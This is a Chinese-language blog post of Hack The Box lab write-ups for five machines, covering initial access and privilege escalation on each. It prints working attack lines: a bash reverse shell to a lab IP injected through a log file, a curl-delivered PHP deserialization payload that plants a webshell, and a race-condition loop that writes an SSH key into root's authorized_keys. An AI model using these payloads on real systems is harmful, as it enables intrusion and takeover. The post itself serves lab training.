白袍的小行星

Hack The Box 系列——四

字数统计: 1.6k阅读时长: 6 min
2021/06/04 Share

无聊,所以来刷刷HTB。
环境:我用了一台新加坡的Kali VPS,上面直接用openVPN连接了HTB,如果有需要访问的Web端口就用portmap转发一下:
20210603151734UEoE56

ScriptKiddie

这台机器开了22和5000,后者上面是一个Python Web服务:
20210603151847jAxpIl
nmap显示这是用Werkzeug 0.16.1搭建的,搜索了一番,没找到能利用的漏洞。
最后把目光放在功能上,有一个msfvenom,搜索发现最近有一个漏洞CVE-2020-7384.
找到msf模块手动导入使用:metasploit-framework/metasploit_msfvenom_apk_template_cmd_injection.rb at master · rapid7/metasploit-framework · GitHub
得到一个普通用户kid.

机器上还有另一个普通用户pwn,其用户目录下有个文件scanlosers.sh

#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

没权限修改,但是可以执行,这里读取了/home/kid/logs/hackers,并截取其中的IP进行nmap扫描,那么我们修改/home/kid/logs/hackers,让其能反弹shell:

echo "  ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.30/8899 0>&1' #" >> /home/kid/logs/hackers

得到了pwn用户,执行sudo -l,发现能开msf:
20210603164512VGXOwh
开启之后就是root权限。

Armageddon

开了22和80:
20210603164912kRGR7F
通过查看robots.txt可以得到drupal版本,利用CVE-2018-7600可以执行命令。
为了方便,写一个一句话连接,注意要转义$,得到apache用户,权限很低。
在网站文件中可以翻到数据库账号密码,连接发现有相同用户:
20210603171237Ax1hRq
使用john破解,得到密码,直接登录:
20210603172121gXDaf3

还是老规矩,sudo -l
20210603175905ovzhvs
很明显是GTFOBins,利用链接:snap| GTFOBins
上面是sh脚本,下面的在目标机器上执行:
2021060318002246h2xz
20210603180101erCMqz

Love

这是一台Windows机器,开放端口比较多:

80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)

80端口是一个登录页面,5000端口访问403.
搜索发现80端口的Voting System存在注入,抓包用sqlmap跑,因为是盲注,很久都没结果。
再仔细看了nmap的结果,发现有staging.love.htb,将其写到hosts中再访问,就发现跟以前不一样了,有个Demo页面可以进行请求:
20210604091545Xg2m2F
那应该就是SSRF了,用它去请求本地的5000端口,获得用户名和密码:admin:@LoveIsInTheAir!!!!

拿到的是管理员账户,需要在/admin目录下登录,进去之后在头像处上传webshell,获得普通用户权限。

提权这里比较少见,是关于AlwaysInstallElevated的,即普通用户可以使用系统权限安装MSI,查询以下注册表项:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

结果为0x1代表存在漏洞。

我们这里还是使用msf来完成,生成木马并运行就不多说了,得到Meterpreter会话,使用exploit/windows/local/always_install_elevated模块,成功提权。

Knife

端口同样只开放22和80,80页面基本上一无所有,查看HTTP头发现PHP版本是8.1.0-dev,最近爆出来PHP官方Git服务器被黑,此版本存在后门。
HTTP请求头的User-Agentt字段,如果以zerodium开头,后面的字符就会被当做PHP代码进行执行,利用这个后门可以获取到普通用户权限。
老规矩,sudo -l
20210604101958m017sI
发现有个knife,查看文档,得到knife exec可以执行ruby脚本:
202106041020467gGcg3
那么写一个可以获取权限的ruby脚本,再执行即可:

echo "exec 'cat /root/root.txt'" > /home/james/1.rb
sudo knife exec /home/james/1.rb

Tenet

还是22和80,但这次80是一个Apache默认页面,又是老套路,需要绑定tenet.htb到IP,这种单纯的端口转发不奏效,搞了半天最后选择下下策,用VNC连接VPS,卡出痛苦面具。
打开看到最下面写着WordPress,扫了一遍没啥东西,最后看到有个评论:
20210604112513iUyn3k
提到了有一个sator.php还有其备份,但是没找到。看了下wp,原来是在其子域名sator.tenet.htb里。
其备份文件sator.php.bak

<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>

实际上是一道简单的反序列化题目,payload:

curl --data-urlencode 'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:5:"1.php";s:4:"data";s:27:"<?php system($_GET[cmd]);?>";}' -v http://sator.tenet.htb/sator.php -G

之后在/var/www/html/wordpress/wp-config.php中可以找到普通用户密码:
20210604133319srJ7eF

sudo -l后可以看到有个shell脚本:
20210604134057FGG7gE

#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

这里会将公钥写入一个文件名部分随机的文件,之后复制到ssh目录,最后删除最开始的文件。
我们就需要把自己的公钥写进去,其实也就是条件竞争,不断地进行写入,总有一次比脚本快。

while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvcLIaDLr+mBHDUfG6O8gxYvujNLL6aD***************** root@kali" | tee /tmp/ssh* > /dev/null; done

脚本是无限循环的,我们只需要执行完它之后再去执行/usr/local/bin/enableSSH.sh即可,记得多来几次,不然有可能没写进去。
最后利用私钥登录root即可。

CATALOG
  1. 1. ScriptKiddie
  2. 2. Armageddon
  3. 3. Love
  4. 4. Knife
  5. 5. Tenet